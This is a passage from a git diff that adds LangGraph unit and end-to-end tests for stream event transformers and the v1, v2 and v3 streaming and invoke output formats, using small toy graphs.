_arm(mux, t) + + mux.push(_debug_event([], {"step": 0})) + + methods = [evt["method"] for evt in _unstamped(mux._events._items)] + assert "debug" in methods + + +def test_debug_required_stream_modes() -> None: + assert DebugTransformer.required_stream_modes == ("debug",) + + +def test_debug_is_native() -> None: + assert getattr(DebugTransformer, "_native", False) is True + + +# --------------------------------------------------------------------------- +# TasksTransformer +# --------------------------------------------------------------------------- + + +def test_tasks_captures_root_scope_events() -> None: + t = TasksTransformer() + mux = StreamMux([t], is_async=False) + _arm(mux, t) + + task_start = {"id": "t1", "name": "my_node", "input": None, "triggers": []} + mux.push(_tasks_event([], task_start)) + + items = _drain(t) + assert items == [task_start] + + +def test_tasks_captures_start_and_result() -> None: + t = TasksTransformer() + mux = StreamMux([t], is_async=False) + _arm(mux, t) + + start = {"id": "t1", "name": "a", "input": None, "triggers": []} + result = {"id": "t1", "name": "a", "result": {"output": 42}, "error": None} + mux.push(_tasks_event([], start)) + mux.push(_tasks_event([], result)) + + items = _drain(t) + assert items == [start, result] + + +def test_tasks_ignores_subgraph_events() -> None: + t = TasksTransformer() + mux = StreamMux([t], is_async=False) + _arm(mux, t) + + mux.push(_tasks_event(["child:abc"], {"id": "t1", "name": "x"})) + + assert _drain(t) == [] + + +def test_tasks_scoped_transformer() -> None: + t = TasksTransformer(scope=("agent:abc",)) + mux = StreamMux([t], is_async=False) + _arm(mux, t) + + mux.push(_tasks_event([], {"id": "t1"})) + mux.push(_tasks_event(["agent:abc"], {"id": "t2"})) + mux.push(_tasks_event(["agent:abc", "deep:def"], {"id": "t3"})) + + assert _drain(t) == [{"id": "t2"}] + + +def test_tasks_does_not_suppress_from_main_log() -> None: + """TasksTransformer returns True — it doesn't suppress tasks events. + + (LifecycleTransformer suppresses them, but that's independent.) + """ + t = TasksTransformer() + mux = StreamMux([t], is_async=False) + _arm(mux, t) + + mux.push(_tasks_event([], {"id": "t1"})) + + methods = [evt["method"] for evt in _unstamped(mux._events._items)] + assert "tasks" in methods + + +def test_tasks_required_stream_modes() -> None: + assert TasksTransformer.required_stream_modes == ("tasks",) + + +def test_tasks_is_native() -> None: + assert getattr(TasksTransformer, "_native", False) is True + + +# --------------------------------------------------------------------------- +# UpdatesTransformer +# --------------------------------------------------------------------------- + + +def test_updates_captures_root_scope_events() -> None: + t = UpdatesTransformer() + mux = StreamMux([t], is_async=False) + _arm(mux, t) + + update = {"my_node": {"value": "hello!"}} + mux.push(_updates_event([], update)) + + items = _drain(t) + assert items == [update] + + +def test_updates_captures_multiple_steps() -> None: + t = UpdatesTransformer() + mux = StreamMux([t], is_async=False) + _arm(mux, t) + + mux.push(_updates_event([], {"node_a": {"x": 1}})) + mux.push(_updates_event([], {"node_b": {"x": 2}})) + + items = _drain(t) + assert items == [{"node_a": {"x": 1}}, {"node_b": {"x": 2}}] + + +def test_updates_ignores_subgraph_events() -> None: + t = UpdatesTransformer() + mux = StreamMux([t], is_async=False) + _arm(mux, t) + + mux.push(_updates_event(["child:abc"], {"inner_node": {"v": 1}})) + + assert _drain(t) == [] + + +def test_updates_scoped_transformer() -> None: + t = UpdatesTransformer(scope=("agent:abc",)) + mux = StreamMux([t], is_async=False) + _arm(mux, t) + + mux.push(_updates_event([], {"from": "root"})) + mux.push(_updates_event(["agent:abc"], {"from": "self"})) + + assert _drain(t) == [{"from": "self"}] + + +def test_updates_does_not_suppress_from_main_log() -> None: + t = UpdatesTransformer() + mux = StreamMux([t], is_async=False) + _arm(mux, t) + + mux.push(_updates_event([], {"n": {}})) + + methods = [evt["method"] for evt in _unstamped(mux._events._items)] + assert "updates" in methods + + +def test_updates_required_stream_modes() -> None: + assert UpdatesTransformer.required_stream_modes == ("updates",) + + +def test_updates_is_native() -> None: + assert getattr(UpdatesTransformer, "_native", False) is True + + +# --------------------------------------------------------------------------- +# Cross-transformer: unrelated events pass through +# --------------------------------------------------------------------------- + + +def test_unrelated_events_ignored_by_all() -> None: + """Non-matching method events don't land in any transformer's log.""" + transformers = [ + CustomTransformer(), + UpdatesTransformer(), + CheckpointsTransformer(), + DebugTransformer(), + TasksTransformer(), + ] + mux = StreamMux(transformers, is_async=False) + mux._events._subscribed = True + for t in transformers: + t._log._subscribed = True + + mux.push( + { + "type": "event", + "method": "values", + "params": {"namespace": [], "timestamp": TS, "data": {"x": 1}}, + } + ) + + for t in transformers: + assert _unstamped(t._log._items) == [] + + +# --------------------------------------------------------------------------- +# End-to-end: real graphs through stream_events(version="v3") +# --------------------------------------------------------------------------- + + +class _State(TypedDict): + value: str + items: Annotated[list[str], operator.add] + + +def _my_node(state: _State) -> dict[str, Any]: + from langgraph.config import get_stream_writer + + writer = get_stream_writer() + writer({"status": "working", "node": "my_node"}) + return {"value": state["value"] + "!", "items": ["done"]} + + +def _make_simple_graph() -> Any: + builder = StateGraph(_State, input_schema=_State) + builder.add_node("my_node", _my_node) + builder.add_edge(START, "my_node") + builder.add_edge("my_node", END) + return builder.compile() + + +def test_stream_events_v3_custom_projection_opt_in() -> None: + """run.custom surfaces get_stream_writer() payloads when opted in.""" + graph = _make_simple_graph() + run = graph.stream_events( + {"value": "hello", "items": []}, version="v3", transformers=[CustomTransformer] + ) + + custom_events = list(run.custom) + assert len(custom_events) >= 1 + assert any(e.get("status") == "working" for e in custom_events) + + +def test_stream_events_v3_custom_and_values_coexist() -> None: + """Both run.custom and run.values work in the same run.""" + graph = _make_simple_graph() + run = graph.stream_events( + {"value": "hello", "items": []}, version="v3", transformers=[CustomTransformer] + ) + + custom_events = list(run.custom) + assert run.output is not None + assert run.output["value"] == "hello!" + assert len(custom_events) >= 1 + + +def test_stream_events_v3_tasks_projection_opt_in() -> None: + """run.tasks surfaces raw task events when opted in via transformers=.""" + graph = _make_simple_graph() + run = graph.stream_events( + {"value": "x", "items": []}, transformers=[TasksTransformer], version="v3" + ) + + tasks_events = list(run.tasks) + assert len(tasks_events) >= 1 + names = [t.get("name") for t in tasks_events if "name" in t] + assert "my_node" in names + + +def test_stream_events_v3_debug_projection_opt_in() -> None: + """run.debug surfaces debug events when opted in via transformers=.""" + graph = _make_simple_graph() + run = graph.stream_events( + {"value": "x", "items": []}, transformers=[DebugTransformer], version="v3" + ) + + debug_events = list(run.debug) + assert len(debug_events) >= 1 + types = {d.get("type") for d in debug_events} + assert types & {"checkpoint", "task", "task_result"} + + +def test_stream_events_v3_updates_projection_opt_in() -> None: + """run.updates surfaces node output dicts when opted in via transformers=.""" + graph = _make_simple_graph() + run = graph.stream_events( + {"value": "x", "items": []}, version="v3", transformers=[UpdatesTransformer] + ) + + updates = list(run.updates) + assert len(updates) >= 1 + node_names = {k for u in updates for k in u if k != "__interrupt__"} + assert "my_node" in node_names + + +def test_stream_events_v3_all_transformers_interleaved() -> None: + """All five transformers registered together, consumed via interleave.""" + graph = _make_simple_graph() + run = graph.stream_events( + {"value": "x", "items": []}, + version="v3", + transformers=[ + CustomTransformer, + UpdatesTransformer, + CheckpointsTransformer, + DebugTransformer, + TasksTransformer, + ], + ) + + collected: dict[str, list[Any]] = { + "custom": [], + "updates": [], + "debug": [], + "tasks": [], + } + for name, item in run.interleave("custom", "updates", "debug", "tasks"): + collected[name].append(item) + + assert len(collected["custom"]) >= 1 + assert len(collected["updates"]) >= 1 + assert len(collected["tasks"]) >= 1 + assert len(collected["debug"]) >= 1 + types = {d.get("type") for d in collected["debug"]} + assert types & {"checkpoint", "task", "task_result"} + node_names = {k for u in collected["updates"] for k in u if k != "__interrupt__"} + assert "my_node" in node_names + + assert run.output is not None + assert run.output["value"] == "x!" + + +def test_stream_events_v3_all_transformers_with_checkpointer() -> None: + """All transformers with a checkpointer — run.checkpoints populated.""" + from langgraph.checkpoint.memory import InMemorySaver + + builder = StateGraph(_State, input_schema=_State) + builder.add_node("my_node", _my_node) + builder.add_edge(START, "my_node") + builder.add_edge("my_node", END) + graph = builder.compile(checkpointer=InMemorySaver()) + + run = graph.stream_events( + {"value": "x", "items": []}, + version="v3", + config={"configurable": {"thread_id": "test-all"}}, + transformers=[ + CustomTransformer, + UpdatesTransformer, + CheckpointsTransformer, + DebugTransformer, + TasksTransformer, + ], + ) + + collected: dict[str, list[Any]] = { + "custom": [], + "updates": [], + "checkpoints": [], + "debug": [], + "tasks": [], + } + for name, item in run.interleave( + "custom", "updates", "checkpoints", "debug", "tasks" + ): + collected[name].append(item) + + assert len(collected["checkpoints"]) >= 1 + assert len(collected["custom"]) >= 1 + + +def test_stream_events_v3_checkpoints_projection_opt_in() -> None: + """run.checkpoints surfaces checkpoint data when opted in with a checkpointer.""" + from langgraph.checkpoint.memory import InMemorySaver + + builder = StateGraph(_State, input_schema=_State) + builder.add_node("my_node", _my_node) + builder.add_edge(START, "my_node") + builder.add_edge("my_node", END) + graph = builder.compile(checkpointer=InMemorySaver()) + + run = graph.stream_events( + {"value": "x", "items": []}, + version="v3", + config={"configurable": {"thread_id": "test-ckpt-standalone"}}, + transformers=[CheckpointsTransformer], + ) + + checkpoints = list(run.checkpoints) + assert len(checkpoints) >= 1 + + +# --------------------------------------------------------------------------- +# TasksTransformer + LifecycleTransformer co-registration +# --------------------------------------------------------------------------- + + +def test_tasks_and_lifecycle_coregistration() -> None: + """When both are in the same StreamMux, LifecycleTransformer suppresses + tasks events from the main log (returns False) while TasksTransformer + still captures them into its own log. + """ + lifecycle = LifecycleTransformer() + tasks = TasksTransformer() + mux = StreamMux([lifecycle, tasks], is_async=False) + mux._events._subscribed = True + tasks._log._subscribed = True + lifecycle._channel._subscribed = True + + task_data = {"id": "t1", "name": "my_node", "input": None, "triggers": []} + mux.push(_tasks_event([], task_data)) + + assert _drain(tasks) == [task_data] + + methods = [evt["method"] for evt in _unstamped(mux._events._items)] + assert "tasks" not in methods + + +def test_tasks_and_lifecycle_coregistration_e2e() -> None: + """E2e: TasksTransformer captures task events even when LifecycleTransformer + is present and suppressing them from the main log. + """ + graph = _make_simple_graph() + run = graph.stream_events( + {"value": "x", "items": []}, + version="v3", + transformers=[TasksTransformer], + ) + + tasks_events = list(run.tasks) + assert len(tasks_events) >= 1 + names = [t.get("name") for t in tasks_events if "name" in t] + assert "my_node" in names diff --git a/libs/langgraph/tests/test_stream_events_v3.py b/libs/langgraph/tests/test_stream_events_v3.py new file mode 100644 index 0000000..6399b30 --- /dev/null +++ b/libs/langgraph/tests/test_stream_events_v3.py @@ -0,0 +1,1180 @@ +"""Tests for v2 streaming format (StreamPart TypedDicts). + +This file is checked by ty directly. +Type-narrowing is validated via `assert_type` calls in `_check_type_narrowing`. +""" + +from __future__ import annotations + +import operator +import sys +from dataclasses import dataclass +from typing import Annotated, Any, TypeVar + +import pytest +from langchain_core.messages import AIMessage, BaseMessage +from langgraph.checkpoint.memory import InMemorySaver +from pydantic import BaseModel, ValidationError +from typing_extensions import TypedDict, assert_type + +from langgraph._internal._constants import INTERRUPT +from langgraph.constants import END, START +from langgraph.errors import GraphDrained +from langgraph.func import entrypoint +from langgraph.graph import StateGraph +from langgraph.graph.message import MessagesState +from langgraph.runtime import RunControl +from langgraph.types import ( + CheckpointPayload, + CheckpointStreamPart, + CustomStreamPart, + DebugPayload, + DebugStreamPart, + GraphOutput, + Interrupt, + MessagesStreamPart, + StreamPart, + StreamWriter, + TaskPayload, + TaskResultPayload, + TasksStreamPart, + UpdatesStreamPart, + ValuesStreamPart, + interrupt, +) +from tests.fake_chat import FakeChatModel + +NEEDS_CONTEXTVARS = pytest.mark.skipif( + sys.version_info < (3, 11), + reason="Python 3.11+ is required for async contextvars support", +) + +# --- state and graph builders --- + + +class SimpleState(TypedDict): + value: str + items: Annotated[list[str], operator.add] + + +_SIMPLE_INPUT: SimpleState = {"value": "x", "items": []} +_MSG_INPUT: MessagesState = {"messages": "hi"} + + +def _make_simple_graph() -> StateGraph[SimpleState, None, SimpleState, SimpleState]: + def node_a(state: SimpleState) -> dict[str, Any]: + return {"value": state["value"] + "_a", "items": ["a"]} + + def node_b(state: SimpleState) -> dict[str, Any]: + return {"value": state["value"] + "_b", "items": ["b"]} + + builder = StateGraph(SimpleState, input_schema=SimpleState) + builder.add_node("node_a", node_a) + builder.add_node("node_b", node_b) + builder.add_edge(START, "node_a") + builder.add_edge("node_a", "node_b") + builder.add_edge("node_b", END) + return builder + + +def _make_messages_graph() -> StateGraph[ + MessagesState, None, MessagesState, MessagesState +]: + model = FakeChatModel(messages=[AIMessage(content="hello world")]) + + def call_model(state: MessagesState) -> dict[str, Any]: + return {"messages": model.invoke(state["messages"])} + + builder = StateGraph(MessagesState, input_schema=MessagesState) + builder.add_node("call_model", call_model) + builder.add_edge(START, "call_model") + builder.add_edge("call_model", END) + return builder + + +def _make_custom_graph() -> Any: + @entrypoint() + def graph(inputs: Any, *, writer: StreamWriter) -> Any: + writer("hello") + writer(42) + return inputs + + return graph + + +def _make_subgraph() -> Any: + inner = _make_simple_graph().compile() + outer_builder = StateGraph(SimpleState, input_schema=SimpleState) + outer_builder.add_node("inner", inner) + outer_builder.add_edge(START, "inner") + outer_builder.add_edge("inner", END) + return outer_builder.compile() + + +# --- shared assertion helpers --- + +_STREAM_PART_KEYS = {"type", "ns", "data"} + + +def _assert_stream_part_shape(part: StreamPart[Any, Any]) -> None: + """Assert a v2 stream part has the required keys and correct types.""" + assert isinstance(part, dict), f"Expected dict, got {type(part)}" + assert _STREAM_PART_KEYS <= part.keys(), ( + f"Missing keys: {_STREAM_PART_KEYS - part.keys()}" + ) + assert isinstance(part["type"], str) + assert isinstance(part["ns"], tuple) + for elem in part["ns"]: + assert isinstance(elem, str) + if part["type"] == "values": + assert "interrupts" in part, "values stream part missing 'interrupts' field" + assert isinstance(part["interrupts"], tuple) + + +# --- v1 backwards compatibility --- + + +class TestV1BackwardsCompat: + def test_stream_default_is_v1(self) -> None: + graph = _make_simple_graph().compile() + chunks = list(graph.stream(_SIMPLE_INPUT)) + for chunk in chunks: + assert isinstance(chunk, dict) + + def test_stream_v1_updates_mode(self) -> None: + graph = _make_simple_graph().compile() + chunks = list(graph.stream(_SIMPLE_INPUT, stream_mode="updates")) + assert len(chunks) == 2 + assert "node_a" in chunks[0] + assert "node_b" in chunks[1] + + def test_stream_v1_list_mode(self) -> None: + graph = _make_simple_graph().compile() + chunks = list(graph.stream(_SIMPLE_INPUT, stream_mode=["values", "updates"])) + for chunk in chunks: + assert isinstance(chunk, tuple) and len(chunk) == 2 + mode, _data = chunk + assert mode in ("values", "updates") + + def test_stream_v1_subgraphs(self) -> None: + graph = _make_simple_graph().compile() + chunks = list( + graph.stream(_SIMPLE_INPUT, stream_mode="updates", subgraphs=True) + ) + for chunk in chunks: + assert isinstance(chunk, tuple) and len(chunk) == 2 + ns, _data = chunk + assert isinstance(ns, tuple) + + +# --- v2 sync stream --- + + +class TestV2Stream: + def test_values(self) -> None: + graph = _make_simple_graph().compile() + chunks = list(graph.stream(_SIMPLE_INPUT, stream_mode="values", version="v2")) + assert len(chunks) >= 1 + for c in chunks: + _assert_stream_part_shape(c) + assert c["type"] == "values" + assert c["ns"] == () + assert isinstance(c["data"], dict) + + def test_updates(self) -> None: + graph = _make_simple_graph().compile() + chunks = list(graph.stream(_SIMPLE_INPUT, stream_mode="updates", version="v2")) + assert len(chunks) == 2 + for c in chunks: + _assert_stream_part_shape(c) + assert c["type"] == "updates" + assert c["ns"] == () + assert "node_a" in chunks[0]["data"] + assert "node_b" in chunks[1]["data"] + + def test_messages(self) -> None: + graph = _make_messages_graph().compile() + chunks = list(graph.stream(_MSG_INPUT, stream_mode="messages", version="v2")) + msg_chunks = [c for c in chunks if c["type"] == "messages"] + assert len(msg_chunks) >= 1 + for c in msg_chunks: + _assert_stream_part_shape(c) + assert c["ns"] == () + data = c["data"] + assert isinstance(data, tuple) and len(data) == 2 + message, metadata = data + assert isinstance(message, BaseMessage) + assert isinstance(metadata, dict) + assert "langgraph_node" in metadata + + def test_custom(self) -> None: + graph = _make_custom_graph() + chunks = list(graph.stream({"key": "val"}, stream_mode="custom", version="v2")) + custom = [c for c in chunks if c["type"] == "custom"] + assert len(custom) == 2 + for c in custom: + _assert_stream_part_shape(c) + assert custom[0]["data"] == "hello" + assert custom[1]["data"] == 42 + + def test_multiple_modes(self) -> None: + graph = _make_simple_graph().compile() + chunks = list( + graph.stream( + _SIMPLE_INPUT, + stream_mode=["values", "updates"], + version="v2", + ) + ) + types_seen = {c["type"] for c in chunks} + assert {"values", "updates"} <= types_seen + for c in chunks: + _assert_stream_part_shape(c) + + def test_stream_events_v3_accepts_control_for_drain(self) -> None: + class DrainState(TypedDict, total=False): + value: str + skipped: str + + control = RunControl() + + def first_node(state: DrainState) -> dict[str, str]: + control.request_drain("sigterm") + return {"value": "done"} + + def second_node(state: DrainState) -> dict[str, str]: + return {"skipped": "nope"} + + builder = StateGraph(DrainState) + builder.add_node("first", first_node) + builder.add_node("second", second_node) + builder.add_edge(START, "first") + builder.add_edge("first", "second") + builder.add_edge("second", END) + graph = builder.compile() + + run = graph.stream_events({}, control=control, version="v3") + with pytest.raises(GraphDrained, match="sigterm"): + list(run.values) + + def test_subgraphs_ns(self) -> None: + outer = _make_subgraph() + chunks = list( + outer.stream( + _SIMPLE_INPUT, + stream_mode="updates", + subgraphs=True, + version="v2", + ) + ) + for c in chunks: + _assert_stream_part_shape(c) + root = [c for c in chunks if c["ns"] == ()] + sub = [c for c in chunks if c["ns"] != ()] + assert len(root) >= 1 + assert len(sub) >= 1 + + def test_checkpoints(self) -> None: + graph = _make_simple_graph().compile(checkpointer=InMemorySaver()) + config: Any = {"configurable": {"thread_id": "test-v2-ckpt"}} + chunks = list( + graph.stream( + _SIMPLE_INPUT, + config, + stream_mode="checkpoints", + version="v2", + ) + ) + ckpt = [c for c in chunks if c["type"] == "checkpoints"] + assert len(ckpt) >= 1 + for c in ckpt: + _assert_stream_part_shape(c) + assert c["ns"] == () + payload = c["data"] + assert {"config", "metadata", "values", "next", "tasks"} <= payload.keys() + + def test_tasks(self) -> None: + graph = _make_simple_graph().compile(checkpointer=InMemorySaver()) + config: Any = {"configurable": {"thread_id": "test-v2-tasks"}} + chunks = list( + graph.stream( + _SIMPLE_INPUT, + config, + stream_mode="tasks", + version="v2", + ) + ) + tasks = [c for c in chunks if c["type"] == "tasks"] + assert len(tasks) >= 2 + for c in tasks: + _assert_stream_part_shape(c) + assert c["ns"] == () + assert "id" in c["data"] and "name" in c["data"] + starts = [c for c in tasks if "triggers" in c["data"]] + results = [c for c in tasks if "result" in c["data"]] + assert len(starts) >= 2 + assert len(results) >= 2 + + def test_debug(self) -> None: + graph = _make_simple_graph().compile(checkpointer=InMemorySaver()) + config: Any = {"configurable": {"thread_id": "test-v2-debug"}} + chunks = list( + graph.stream( + _SIMPLE_INPUT, + config, + stream_mode="debug", + version="v2", + ) + ) + debug = [c for c in chunks if c["type"] == "debug"] + assert len(debug) >= 1 + for c in debug: + _assert_stream_part_shape(c) + assert c["ns"] == () + envelope = c["data"] + assert {"step", "timestamp", "type", "payload"} <= envelope.keys() + assert envelope["type"] in ("checkpoint", "task", "task_result") + + def test_subgraphs_param_does_not_change_format(self) -> None: + """In v2, subgraphs=True/False should not change the output format.""" + graph = _make_simple_graph().compile() + chunks_no_sub = list( + graph.stream( + _SIMPLE_INPUT, + stream_mode="updates", + subgraphs=False, + version="v2", + ) + ) + chunks_with_sub = list( + graph.stream( + _SIMPLE_INPUT, + stream_mode="updates", + subgraphs=True, + version="v2", + ) + ) + for c in chunks_no_sub + chunks_with_sub: + _assert_stream_part_shape(c) + + +# --- v2 sync invoke --- + + +class TestV2Invoke: + def test_values_default(self) -> None: + graph = _make_simple_graph().compile() + result = graph.invoke(_SIMPLE_INPUT, version="v2") + assert isinstance(result, GraphOutput) + assert result.value == {"value": "x_a_b", "items": ["a", "b"]} + assert result.interrupts == () + # backward compat dict access + assert result["value"] == "x_a_b" + assert result["items"] == ["a", "b"] + + def test_invoke_v2_graph_output_with_interrupts(self) -> None: + def my_node(state: SimpleState) -> dict[str, Any]: + answer = interrupt("what is your name?") + return {"value": answer, "items": ["done"]} + + builder: StateGraph = StateGraph(SimpleState) + builder.add_node("my_node", my_node) + builder.add_edge(START, "my_node") + builder.add_edge("my_node", END) + graph = builder.compile(checkpointer=InMemorySaver()) + + config: Any = {"configurable": {"thread_id": "test-invoke-v2-interrupts"}} + result = graph.invoke({"value": "x", "items": []}, config, version="v2") + assert isinstance(result, GraphOutput) + assert len(result.interrupts) > 0 + for intr in result.interrupts: + assert isinstance(intr, Interrupt) + # value should still be the state (not None or empty) + assert isinstance(result.value, dict) + + def test_invoke_v2_graph_output_interrupt_compat(self) -> None: + """result['__interrupt__'] works via __getitem__.""" + + def my_node(state: SimpleState) -> dict[str, Any]: + answer = interrupt("what is your name?") + return {"value": answer, "items": ["done"]} + + builder: StateGraph = StateGraph(SimpleState) + builder.add_node("my_node", my_node) + builder.add_edge(START, "my_node") + builder.add_edge("my_node", END) + graph = builder.compile(checkpointer=InMemorySaver()) + + config: Any = {"configurable": {"thread_id": "test-invoke-v2-compat"}} + result = graph.invoke({"value": "x", "items": []}, config, version="v2") + assert isinstance(result, GraphOutput) + assert INTERRUPT in result + assert result[INTERRUPT] == result.interrupts + assert len(result[INTERRUPT]) > 0 + + def test_invoke_v2_graph_output_no_interrupts(self) -> None: + graph = _make_simple_graph().compile() + result = graph.invoke(_SIMPLE_INPUT, version="v2") + assert isinstance(result, GraphOutput) + assert result.interrupts == () + assert INTERRUPT not in result + + def test_invoke_v2_pydantic_state(self) -> None: + """invoke with v2 and pydantic state returns GraphOutput with pydantic value.""" + + def node_a(state: PydanticState) -> dict[str, Any]: + return {"value": state.value + "_a", "items": ["a"]} + + builder: StateGraph = StateGraph(PydanticState) + builder.add_node("node_a", node_a) + builder.add_edge(START, "node_a") + builder.add_edge("node_a", END) + graph = builder.compile() + + result = graph.invoke({"value": "x", "items": []}, version="v2") + assert isinstance(result, GraphOutput) + assert isinstance(result.value, PydanticState) + assert result.value.value == "x_a" + assert result.interrupts == () + + def test_invoke_v2_dataclass_state(self) -> None: + """invoke with v2 and dataclass state returns GraphOutput with dataclass value.""" + + def node_a(state: DataclassState) -> dict[str, Any]: + return {"value": state.value + "_a", "items": ["a"]} + + builder: StateGraph = StateGraph(DataclassState) + builder.add_node("node_a", node_a) + builder.add_edge(START, "node_a") + builder.add_edge("node_a", END) + graph = builder.compile() + + result = graph.invoke({"value": "x", "items": []}, version="v2") + assert isinstance(result, GraphOutput) + assert isinstance(result.value, DataclassState) + assert result.value.value == "x_a" + assert result.value.items == ["a"] + assert result.interrupts == () + + def test_invoke_v2_non_values_mode_pydantic(self) -> None: + """invoke with v2 + non-values mode + pydantic state returns list[StreamPart].""" + + def node_a(state: PydanticState) -> dict[str, Any]: + return {"value": state.value + "_a", "items": ["a"]} + + builder: StateGraph = StateGraph(PydanticState) + builder.add_node("node_a", node_a) + builder.add_edge(START, "node_a") + builder.add_edge("node_a", END) + graph = builder.compile() + + result = graph.invoke( + {"value": "x", "items": []}, stream_mode="updates", version="v2" + ) + assert isinstance(result, list) + for chunk in result: + _assert_stream_part_shape(chunk) + assert chunk["type"] == "updates" + # updates data should be plain dicts, not coerced to pydantic + assert isinstance(chunk["data"], dict) + + def test_updates_mode(self) -> None: + graph = _make_simple_graph().compile() + result = graph.invoke(_SIMPLE_INPUT, stream_mode="updates", version="v2") + assert isinstance(result, list) and len(result) == 2 + for chunk in result: + _assert_stream_part_shape(chunk) + assert chunk["type"] == "updates" + assert chunk["ns"] == () + assert "node_a" in result[0]["data"] + assert "node_b" in result[1]["data"] + + def test_multiple_modes(self) -> None: + graph = _make_simple_graph().compile() + modes: Any = ["values", "updates"] + result = graph.invoke(_SIMPLE_INPUT, stream_mode=modes, version="v2") + assert isinstance(result, list) + types_seen = {c["type"] for c in result} + assert {"values", "updates"} <= types_seen + for c in result: + _assert_stream_part_shape(c) + + def test_v1_default_unchanged(self) -> None: + graph = _make_simple_graph().compile() + result = graph.invoke(_SIMPLE_INPUT) + assert isinstance(result, dict) + assert result["value"] == "x_a_b" + assert result["items"] == ["a", "b"] + + def test_v1_updates_unchanged(self) -> None: + graph = _make_simple_graph().compile() + result = graph.invoke(_SIMPLE_INPUT, stream_mode="updates") + assert isinstance(result, list) + for chunk in result: + assert "node_a" in chunk or "node_b" in chunk + + +# --- v2 async stream --- + + +class TestV2StreamAsync: + @pytest.mark.anyio + async def test_values(self) -> None: + graph = _make_simple_graph().compile() + chunks = [ + c + async for c in graph.astream( + _SIMPLE_INPUT, stream_mode="values", version="v2" + ) + ] + assert len(chunks) >= 1 + for c in chunks: + _assert_stream_part_shape(c) + assert c["type"] == "values" + assert c["ns"] == () + assert isinstance(c["data"], dict) + + @pytest.mark.anyio + async def test_updates(self) -> None: + graph = _make_simple_graph().compile() + chunks = [ + c + async for c in graph.astream( + _SIMPLE_INPUT, stream_mode="updates", version="v2" + ) + ] + assert len(chunks) == 2 + for c in chunks: + _assert_stream_part_shape(c) + assert c["type"] == "updates" + assert c["ns"] == () + assert "node_a" in chunks[0]["data"] + assert "node_b" in chunks[1]["data"] + + @pytest.mark.anyio + async def test_messages(self) -> None: + graph = _make_messages_graph().compile() + chunks = [ + c + async for c in graph.astream( + _MSG_INPUT, stream_mode="messages", version="v2" + ) + ] + msg_chunks = [c for c in chunks if c["type"] == "messages"] + assert len(msg_chunks) >= 1 + for c in msg_chunks: + _assert_stream_part_shape(c) + assert c["ns"] == () + data = c["data"] + assert isinstance(data, tuple) and len(data) == 2 + message, metadata = data + assert isinstance(message, BaseMessage) + assert isinstance(metadata, dict) + assert "langgraph_node" in metadata + + @NEEDS_CONTEXTVARS + @pytest.mark.anyio + async def test_custom(self) -> None: + graph = _make_custom_graph() + chunks = [ + c + async for c in graph.astream( + {"key": "val"}, stream_mode="custom", version="v2" + ) + ] + custom = [c for c in chunks if c["type"] == "custom"] + assert len(custom) == 2 + for c in custom: + _assert_stream_part_shape(c) + assert custom[0]["data"] == "hello" + assert custom[1]["data"] == 42 + + @pytest.mark.anyio + async def test_multiple_modes(self) -> None: + graph = _make_simple_graph().compile() + chunks = [ + c + async for c in graph.astream( + _SIMPLE_INPUT, + stream_mode=["values", "updates"], + version="v2", + ) + ] + types_seen = {c["type"] for c in chunks} + assert {"values", "updates"} <= types_seen + for c in chunks: + _assert_stream_part_shape(c) + + @pytest.mark.anyio + async def test_subgraphs_ns(self) -> None: + outer = _make_subgraph() + chunks = [ + c + async for c in outer.astream( + _SIMPLE_INPUT, + stream_mode="updates", + subgraphs=True, + version="v2", + ) + ] + for c in chunks: + _assert_stream_part_shape(c) + root = [c for c in chunks if c["ns"] == ()] + sub = [c for c in chunks if c["ns"] != ()] + assert len(root) >= 1 + assert len(sub) >= 1 + + @pytest.mark.anyio + async def test_checkpoints(self) -> None: + graph = _make_simple_graph().compile(checkpointer=InMemorySaver()) + config: Any = {"configurable": {"thread_id": "test-v2-ckpt-async"}} + chunks = [ + c + async for c in graph.astream( + _SIMPLE_INPUT, + config, + stream_mode="checkpoints", + version="v2", + ) + ] + ckpt = [c for c in chunks if c["type"] == "checkpoints"] + assert len(ckpt) >= 1 + for c in ckpt: + _assert_stream_part_shape(c) + assert c["ns"] == () + payload = c["data"] + assert {"config", "metadata", "values", "next", "tasks"} <= payload.keys() + + @pytest.mark.anyio + async def test_tasks(self) -> None: + graph = _make_simple_graph().compile(checkpointer=InMemorySaver()) + config: Any = {"configurable": {"thread_id": "test-v2-tasks-async"}} + chunks = [ + c + async for c in graph.astream( + _SIMPLE_INPUT, + config, + stream_mode="tasks", + version="v2", + ) + ] + tasks = [c for c in chunks if c["type"] == "tasks"] + assert len(tasks) >= 2 + for c in tasks: + _assert_stream_part_shape(c) + assert c["ns"] == () + assert "id" in c["data"] and "name" in c["data"] + starts = [c for c in tasks if "triggers" in c["data"]] + results = [c for c in tasks if "result" in c["data"]] + assert len(starts) >= 2 + assert len(results) >= 2 + + @pytest.mark.anyio + async def test_debug(self) -> None: + graph = _make_simple_graph().compile(checkpointer=InMemorySaver()) + config: Any = {"configurable": {"thread_id": "test-v2-debug-async"}} + chunks = [ + c + async for c in graph.astream( + _SIMPLE_INPUT, + config, + stream_mode="debug", + version="v2", + ) + ] + debug = [c for c in chunks if c["type"] == "debug"] + assert len(debug) >= 1 + for c in debug: + _assert_stream_part_shape(c) + assert c["ns"] == () + envelope = c["data"] + assert {"step", "timestamp", "type", "payload"} <= envelope.keys() + assert envelope["type"] in ("checkpoint", "task", "task_result") + + +# --- v2 async invoke --- + + +class TestV2InvokeAsync: + @pytest.mark.anyio + async def test_values_default(self) -> None: + graph = _make_simple_graph().compile() + result = await graph.ainvoke(_SIMPLE_INPUT, version="v2") + assert isinstance(result, GraphOutput) + assert result.value == {"value": "x_a_b", "items": ["a", "b"]} + assert result.interrupts == () + # backward compat dict access + assert result["value"] == "x_a_b" + assert result["items"] == ["a", "b"] + + @NEEDS_CONTEXTVARS + @pytest.mark.anyio + async def test_ainvoke_v2_graph_output_with_interrupts(self) -> None: + def my_node(state: SimpleState) -> dict[str, Any]: + answer = interrupt("what is your name?") + return {"value": answer, "items": ["done"]} + + builder: StateGraph = StateGraph(SimpleState) + builder.add_node("my_node", my_node) + builder.add_edge(START, "my_node") + builder.add_edge("my_node", END) + graph = builder.compile(checkpointer=InMemorySaver()) + + config: Any = {"configurable": {"thread_id": "test-ainvoke-v2-interrupts"}} + result = await graph.ainvoke({"value": "x", "items": []}, config, version="v2") + assert isinstance(result, GraphOutput) + assert len(result.interrupts) > 0 + for intr in result.interrupts: + assert isinstance(intr, Interrupt) + assert isinstance(result.value, dict) + + @pytest.mark.anyio + async def test_ainvoke_v2_pydantic_state(self) -> None: + """ainvoke with v2 and pydantic state returns GraphOutput with pydantic value.""" + + def 